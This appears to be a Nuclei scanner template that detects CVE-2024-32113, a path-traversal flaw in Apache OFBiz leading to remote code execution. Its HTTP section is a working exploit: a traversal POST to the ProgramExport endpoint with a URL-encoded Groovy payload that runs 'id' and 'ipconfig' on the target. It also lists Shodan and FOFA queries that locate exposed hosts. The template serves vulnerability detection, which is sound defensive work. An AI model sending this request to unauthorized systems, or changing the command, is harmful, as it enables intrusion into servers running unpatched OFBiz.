id: CVE-2024-32113

info:
  name: Apache OFBiz Directory Traversal - Remote Code Execution
  author: DhiyaneshDK
  severity: high
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.13
  impact: |
    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  remediation: |
    Users are recommended to upgrade to version 18.12.13, which fixes the issue.
  reference:
    - https://issues.apache.org/jira/browse/OFBIZ-13006
    - https://lists.apache.org/thread/w6s60okgkxp2th1sr8vx0ndmgk68fqrd
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
    - https://github.com/absholi7ly/Apache-OFBiz-Directory-Traversal-exploit
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32113
  classification:
    cve-id: CVE-2024-32113
    cvss-score: 9.8
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    epss-score: 0.99442
    epss-percentile: 0.99936
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="Apache_OFBiz"
    shodan-query: 'title:"OFBiz"'
    product: ofbiz
    vendor: apache
  tags: cve,cve2024,apache,ofbiz,rce,kev,vkev,vuln

http:
  - raw:
      - |
        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%64%27.%65%78%65%63%75%74%65().%74%65%78%74);

      - |
        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=%74%68%72%6f%77%20%6e%65%77%20%45%78%63%65%70%74%69%6f%6e(%27%69%70%63%6F%6E%66%69%67%27.%65%78%65%63%75%74%65().%74%65%78%74);

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
        condition: or

      - type: word
        part: body
        words:
          - 'java.lang.Exception'

      - type: status
        status:
          - 200
# digest: 4a0a004730450220110552dbf3e4f33d2636dce28d029507584535a79cf58ac4f9f8e5fd83243adc022100d2ec79d2b50f314950392b476e4487f53de8e48866cb60dee568cd21337fec3d:922c64590222798bb761d5b6d8e72950